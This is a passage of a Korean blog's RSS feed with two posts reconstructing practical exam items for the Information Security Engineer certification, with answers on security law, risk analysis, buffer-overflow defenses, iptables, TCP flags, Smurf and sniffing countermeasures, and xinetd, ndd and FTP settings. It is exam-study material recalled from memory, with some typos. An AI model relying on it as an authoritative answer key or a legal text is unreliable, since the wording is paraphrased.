/&gt;&lt;/p&gt;&lt;p&gt;6. 주요정보통신기반시설 지정 요건에 관하여 아래 빈칸을 채우시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;제8조(주요정보통신기반시설의 지정 등)&amp;nbsp;①중앙행정기관의 장은 소관분야의 정보통신기반시설중 다음 각호의 사항을 고려하여 전자적 침해행위로부터의 보호가 필요하다고 인정되는 정보통신기반시설을 주요정보통신기반시설로 지정할 수 있다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;u&gt;(정보통신기반 보호법 - 제3장 주요정보통신기반시설의 지정 및 취약점 분석)&lt;/u&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1. 당해 정보통신기반시설을 관리하는 기관이 수행하는 업무의 국가사회적 중요성&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2.&amp;nbsp;제1호의 규정에 의한 기관이 수행하는 업무의 정보통신기반시설에 대한 ( A )&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;3.&amp;nbsp;다른 정보통신기반시설과의 ( B )&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;4.&amp;nbsp;침해사고가 발생한 경우 국가안전보장과 경제사회에 미치는 피해규모 및 범위&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;5.&amp;nbsp;침해사고의 발생가능성 또는 그 복구의 ( C )&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;A : &lt;b&gt;의존도&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;B : &lt;b&gt;상호연계성&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;C : &lt;b&gt;용이성&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;7. 각 항목의 알맞은 재난복구서비스를 찾으시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;(A) : 중요성이 높은 정보 기술 자원만 부분적으로 사이트에 보유한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;(B) : 주 센터와 동일한 수준의 정보 기술 자원을 사이트에 보유하면서, 데이터를 최신으로 유지한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;(C) : 장소만 확보하고 정보자원은 확보하지 않은 상태에서, 재해 시 정보자원을 가지고 온다.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;A : &lt;b&gt;웜 사이트(Warm Site)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;B : &lt;b&gt;핫 사이트(Hot Site)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;C : &lt;b&gt;콜드 사이트(Cold Site)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;8. 개인정보 안전성 확보조치 기준에 대하여 빈칸을 채우시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;u&gt;(개인정보의 안전성 확보조치 기준 - 제2조(정의))&lt;/u&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&quot;A&quot;이란 데이터베이스시스템 등 개인정보를 처리할 수 있도록 체계적으로 구성한 시스템을 말한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&quot;B&quot;란 정보주체 또는 개인정보취급자 등이 개인정보처리시스템, 업무용 컴퓨터, 정보통신망 등에 접속할 때 식별자와 함께 임력하여 정당한 접속 권한을 가진 자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보를 말한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&quot;C&quot;이란 물리적 망분리, 접근 통제시스템 등에 의해 인터넷 구간에서의 접근이 통제 또는 차단되는 구간을 말한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;A : &lt;b&gt;개인정보처리시스템&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;B : &lt;b&gt;비밀번호&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;C : &lt;b&gt;내부망&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;9. 정보통신망 이용촉진 및 정보보호 등에 관한 법률 제25조(개인정보의 위탁처리)에 대한 내용으로 아래 빈칸을 채우시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1. 개인정보 처리위탁을 받는 자(이하 &quot;수탁자&quot;라 한다)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2. 개인정보 처리위탁을 하는 (&amp;nbsp;&lt;b&gt;업무의 내용&lt;/b&gt;&amp;nbsp;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;10. 위험의 구성요소를 도식화한 것을 보고 빈칸에 들어갈 내용을 쓰시오.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 790px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FF1F335A1C422918&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FF1F335A1C422918&quot; width=&quot;790&quot; height=&quot;425&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;A : &lt;b&gt;취약성(Vulnerability)&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;B : &lt;b&gt;감소(Reduce)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;C : &lt;b&gt;보유(Have)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;[서술형]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;11. 버퍼 오버 플로우에 방어 기법에 대하여&amp;nbsp;답하시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;11-1. 스택 버퍼 오버 플로우 시 카나리아 단어(canaria word) 기법 동작방식을 설명하시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;메모리 상에서 프로그램의 복귀 주소(Return Address)와 변수/버퍼 사이에 특정 값(Canary)을 저장해두는 기법을 말한다. 스택 가드(Stack Guard)라고도 함.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;11-2. 해당 기법이 공격을 방어하는 원리를&amp;nbsp;설명하시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;버퍼 오버 플로우 발생 시 특정 값(Canary)의 변조가 발생하므로 이를 탐지하여 차단한다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;11-3. ASLR(Address Space Layout Randomization) 기법 동작방식을 설명하시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;메모리 공격을 방어하기 위해 주소 공간 배치를 난수화하는 기법을 말한다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;11-4. 해당 기법이 공격을 방어하는 원리를&amp;nbsp;설명하시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;실행 시마다 메모리 주소를 변경시켜 버퍼 오버 플로우를 통한 특정 주소 호출을 방지한다.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;12. 기업담당자는 정보보호에 관한 법률에 의거하여 연 1회 이용자들에게 메일로 통보해야 한다. 메일에 들어가야 할 정보를 나열하시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1) &lt;b&gt;개인정보의 수집&amp;nbsp;· 이용 및 수집한 개인정보의 항목&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2) &lt;b&gt;개인정보를 제공받는 자와 그 제공 목적 및 제공한 개인정보의 항목&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;3) &lt;b&gt;개인정보 처리위탁을 받은 자 및 그 처리위탁을 하는 업무의 내용&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;13. iptables의 패킷 필터링 방법 중에는 DROP과 REJECT를 -j 옵션을 이용하여 처리할 수 있다. (1) DROP의 동작 방식과 (2) REJECT의 동작 방식을 쓰고, (3) 보안관점에서 둘 중 어떤 것을 쓰는 것이 좋은지 설명하시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1) &lt;b&gt;DROP 옵션 : 매치된 패킷을 차단한 후 아무런 응답 메시지도 전송하지 않는다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2) &lt;b&gt;REJECT 옵션 : 매치된 패킷을 차단한 후 ICMP 에러 메시지를 응답한다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;3) &lt;b&gt;REJECT의 경우 ICMP 오류 응답에 따른 불필요한 네트워크 트래픽이 발생하게 되고 악의적인 사용자가 이를 이용하여 서비스 거부 공격으로 활용할 소지가 있다. 또한 이러한 응답 자체가 공격자에게 유용한 정보가 될 수 있기 때문에 DROP 옵션을 통해 아예 응답을 하지 않도록 하는 것이 보안상 적절하다.&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;[실무형]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;14. TCP FLAG는 URG, ACK, PSH, RST, SYN, FIN를 순서대로 설정합니다.&amp;nbsp;아래에서 TCP 연결설정 및 연결해제 과정에서 TCP FLAG 비트와 순서번호가 순서에 맞도록 빈칸을 채우시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;(1) TCP 연결설정 과정&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;[Client&amp;gt;Server] , TCP Flag[&lt;b&gt;000010&lt;/b&gt;] , SEQ(&lt;b&gt;344&lt;/b&gt;) , ACK(0)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;[Server&amp;gt;Client] , TCP Flag[&lt;b&gt;010010&lt;/b&gt;] , SEQ(&lt;b&gt;677&lt;/b&gt;) , ACK(345)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;[Client&amp;gt;Server] , TCP Flag[&lt;b&gt;010000&lt;/b&gt;] , SEQ(345) , ACK(678)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;(2) TCP 연결해제 과정&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;[Client&amp;gt;Server] , TCP Flag[010001] , SEQ(1234) , ACK(6789)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;[Server&amp;gt;Client] , TCP Flag[&lt;b&gt;010000&lt;/b&gt;] , SEQ(6789) , ACK(1235)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;[Server&amp;gt;Client] , TCP Flag[&lt;b&gt;010001&lt;/b&gt;] , SEQ(6789) , ACK(1235)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;[Client&amp;gt;Server] , TCP Flag[010000] , SEQ(1235) , ACK(6790)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;15.&amp;nbsp;다음 패킷을 보고 아래 질문에 답하시오.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 877px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9921C2335A1C4EC608&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9921C2335A1C4EC608&quot; width=&quot;877&quot; height=&quot;218&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1) 공격명 : &lt;b&gt;Smurf 공격&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2) 공격원리 : &lt;b&gt;Smurf 공격은 출발지 IP를 희생자 IP로 위조한 후 증폭 네트워크로 ICMP Echo Request를 브로드캐스트 함으로써 다수의 ICMP Echo Reply가 희생자에게 전달되어 서비스 거부를 유발시킨다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;3) 대응방법&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;- 증폭 네트워크로 사용되는 것을 막기 위해 다른 네트워크로부터 자신의 네트워크로 들어오는 Directed Broadcast 패킷을 허용하지 않도록 라우터 설정을 한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;- 브로드캐스트 주소로 전송된 ICMP Echo Request 메시지에 대해 응답하지 않도록 시스템 설정을 한다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;16. 다음 화면을 보고 아래 질문에 답하시오.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 670px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F855335A1C522E0A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F855335A1C522E0A&quot; width=&quot;670&quot; height=&quot;125&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1) 예상되는 공격명 및 이유 : &lt;b&gt;스니핑(Sniffing) 공격, 화면에 표시된 인터페이스가 무차별 모드(PROMISC)로 동작하고 있기 때문에 해당 컴퓨터가 목적지가 아닌 패킷들도 모두 수신이 가능하기 때문에 스니핑(Sniffing) 공격이 발생한 것으로 예상됨.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2) 위 문제를 해결하기 위한 명령어 : ifconfig eth0 ( &lt;b&gt;-promisc&lt;/b&gt; )&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;3) (1) 상태의 발생 시점을 찾기 위한 로그의 경로(파일명 포함) : &lt;b&gt;/var/log/messages&lt;/b&gt;&lt;/p&gt;</description>
      <category>Tip/정보보안기사</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/317</guid>
      <comments>https://do9dark.tistory.com/317#entry317comment</comments>
      <pubDate>Tue, 28 Nov 2017 03:01:57 +0900</pubDate>
    </item>
    <item>
      <title>제9회 정보보안기사 실기(후기)</title>
      <link>https://do9dark.tistory.com/316</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;제9회 정보보안기사 실기&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;난이도 : ☆☆★★★&lt;/p&gt;&lt;p&gt;총평 : 유닉스 ndd 명령어를 제외하고는 쉽게 접할 수 있는 내용들로 출제가 되었으며 정보보안 법규와 일반/관리 부분이 합격과 불합격의 당락을 결정짓는 요소가 됨.&lt;/p&gt;&lt;p&gt;(난이도는 9회가 첫 시험이기 때문에 9회 기사 실기 시험을 기준으로 잡았습니다.)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;[단답형]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;1. DNS Spoofing 공격, Pharming 공격 등에 이용되며 맥, 리눅스, 유닉스, 윈도우 등 운영체제 별로 디렉터리 경로는 다르지만 파일명은 동일하며 DNS 정보를 담고 있는 파일로 윈도우 7 이상 버전에서는 관리자 외에 수정이 불가능한 파일의 이름은? ( &lt;b&gt;hosts&lt;/b&gt; )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. 공격자가 희생자의 IP를 위조하여 ICMP ( &lt;b&gt;Echo Request&lt;/b&gt; ) 패킷을 보르드캐스트하여 다수의 ICMP ( &lt;b&gt;Echo Reply&lt;/b&gt; ) 패킷이 희생자에게 전달되어 서비스 거부를 유발하는 공격으로 ( &lt;b&gt;Directed Broadcast&lt;/b&gt; ) 때문에 문제가 생기기 떄문에 라우터 필터링을 통해 차단한다. &lt;u&gt;(Smurf 공격 참고)&lt;/u&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. 연속된 메모리 공간을 사용하는 프로그램에서 할당된 메모리의 범위를 넘어선 위치에 자료를 읽거나 쓰려고 할 때 발생한다. ( &lt;b&gt;Stack&lt;/b&gt; )은 함수 처리를 위해 지역변수 및 매개변수가 위치하는 메모리 영역을 말한다. ( &lt;b&gt;Heap&lt;/b&gt; )은 사용자가 동적으로 할당하는 메모리 영역이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. Trustwave 사의 아파치 웹서버, IIS 웹 서버 등을 지원하는 공개 소스 웹 방화벽의 이름은? ( &lt;b&gt;ModSecurity&lt;/b&gt; )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. 패킷을 단편화 할 때 tcpdump의 내용 중 다음 숫자가 의미하는 바를 쓰시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;Frag 95:1480@2920+&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;95 : &lt;b&gt;Fragment ID&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1480 : &lt;b&gt;Fragement Size&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2920 : &lt;b&gt;Fragement Offset&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;6. 제23조의2(주민등록번호의 사용 제한)&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;① 정보통신서비스 제공자는 다음 각 호의 어느 하나에 해당하는 경우를 제외하고는 이용자의 주민등록번호를 수집 · 이용할 수 없다.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;1. 제23조의3에 따라 ( &lt;b&gt;본인확인기관&lt;/b&gt; )으로 지정 받은 경우&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;2. 법령에서 이용자의 주민등록번호 수집 · 이용을 허용하는 경우&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;3. 영업상 목적을 위하여 이용자의 주민등록번호 수집 · 이용이 불가피한 정보통신서비스 제공자로서 방송통신위원회가 고시하는 경우&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;② 제1항제2호 또는 제3호에 따라 주민등록번호를 수집 · 이용할 수 있는 경우에도 이용자의 주민등록번호를 사용하지 아니하고 본인을 확인하는 방법(이하 &quot;( &lt;b&gt;대체수단&lt;/b&gt; )&quot;이라 한다)을 제공하여야 한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;u&gt;(정보통신망 이용촉진 및 정보보호 등에 관한 법률)&lt;/u&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;7. SSL/TLS 레코드 프로토콜이 메시지 암호화하여 통신을 수행하는 부분이다. 레코드 프로토콜은 상위계층 메시지를 A, B, C, D와 같은 처리과정을 거쳐 헤더를 붙인 후 하위계층으로 전달한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;A : &lt;b&gt;단편화(Fragmentation)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;B : &lt;b&gt;압축(Compression)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;C : &lt;b&gt;MAC(Message Authentication Code) 추가&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;D : &lt;b&gt;암호화(Encryption)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;8. 시스템에 관한 전문적인 지식을 가진 전문가의 집단을 구성하고, 정보시스템이 직면한 다양한 위협과 취약성을 토론을 통해 분석하는 방법은? ( &lt;b&gt;델파이법&lt;/b&gt; )&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;9. 정보보호시스템 공통평가기준에 있는 내용이다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&quot;A&quot;이라 함은 평가대상 범주를 특정 소비자의 요구에 부합하는 구현에 독립적인 보안요구사항의 집합을 말한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&quot;B&quot;라 함은 식별된 평가대상의 평가를 위한 근거로 사용되는 보안요구사항과 구현 명세의 집합을 말한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&quot;C&quot;이라 함은 공통평가기준에서 미리 정의된 보증수준을 가지는 보증 컴포넌트로 이루어진 패키지를 말한다.&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;A : &lt;b&gt;보호프로파일(PP)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;B : &lt;b&gt;보안목표명세서(ST)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;C : &lt;b&gt;평가보증등급(EAL)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;10. 위험은 비정상적인 일이 발생할 수 있는 가능성을 말하며 위험분석은 위험을 분석하고 해거하는 과정이다. 위험을 구성하는 4가지 기본 요소는?&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;b&gt;자산, 위협, 취약성, 정보보호대책&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;[서술형]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;11. 전자서명법에 따라 공인인증기관이 발급한 공인인증서의 효력이 소멸하는 4가지는?&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;1) &lt;b&gt;공인인증서의 유효기관이 경과한 경우&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;2) &lt;b&gt;공인인증기관의 지정이 취소된 경우&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;3) &lt;b&gt;공인인증서의 효력이 정지된 경우&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;4) &lt;b&gt;공인인증서가 폐지된 경우&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;12. 다음은 /etc/xinetd.conf 설정 값의 일부 화면이다. 각 설정에 기능에 대하여 쓰시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;default {&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;...&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;cps=10 5&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;instances=50&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;per_source=10&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;...&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;}&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;cps=10 5&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;초당 연결 갯수를 10개로 제한하고 10개 초과 시 5초간 서비스 제한한다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;instances=50&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;동시에 실행할 수 있는 서비스의 수를 최대 50개로 제한한다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;per_source=10&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;동일한 호스트(source)에서 해당 서비스로 동시 접속할 수 있는 수를 최대 10개로 제한한다.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;13. 유닉스 커널에서 ndd 명령어를 보고 어떤 공격에 대한 명령어인지와 그 명령어에 대하여 설명하시오.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;ndd -set /dev/ip ip_forward_directed_broadcasts 0&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;공격명 : &lt;b&gt;Smurf 공격&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;설명 : &lt;b&gt;Directed Boradcast IP 패킷이 포워드되는 것을 차단하는 명령으로 Smurf 공격에 대응한다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;ndd -set /dev/tcp tcp_conn_req_max_q0 512&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;공격명 : &lt;b&gt;TCP Syn Flooding 공격&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;설명 : &lt;b&gt;TCP 연결요청대기큐(Backlog Queue)의 크기를 512로 설정하는 명령으로 TCP Syn Flooding 공격에 대응한다.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;[실무형]&lt;/b&gt;&lt;/p&gt;&lt;p&gt;14. 다음 그림을 보고 아래에 답하시오.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 364px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99385D335A1C1FA40A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99385D335A1C1FA40A&quot; width=&quot;364&quot; height=&quot;347&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;14-1. 다음 FTP의 동작 모드는?&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;능동 모드(Active Mode)&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;14-2. 서버의 20, 21 포트의 역할은 무엇인가?&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;21/tcp는 제어(Control)용, 20/tcp는 데이터(data) 송수신하기 위한 포트&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;14-3. 클라이언트에서 파일리스트가 보이지 않는 이유는 무엇인가?&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;능동모드(Active Mode)로 접속한 클라이언트가 파일 리스트를 받기 위해서는 FTP 서버의 tcp/20번 포트에서 클라이언트의 tcp/1024번 포트 이상으로 접속이 가능해야 한다. 따라서 클라이언트로 서버가 접근이 허용이 되지 않은 것으로 판단된다.&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;14-4. (14-3번)과 같은 경우 클라이언트 단에서 해결하기 위한 조치는 무엇인가?&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;b&gt;서버(20/tcp)가 클라이언트(1024/tcp)로 데이터 채널을 생성하기 위한 연결을 허용하거나(방화벽 허용 등) 수동 모드(Passive Mode)로 FTP 연결을 생성한다.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;15. 다음 헬스장 가입신청서를 보고 해당 신청서에서 개인정보보호법에 위반사항 2가지를 찾고 개선사항을 쓰시오.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: 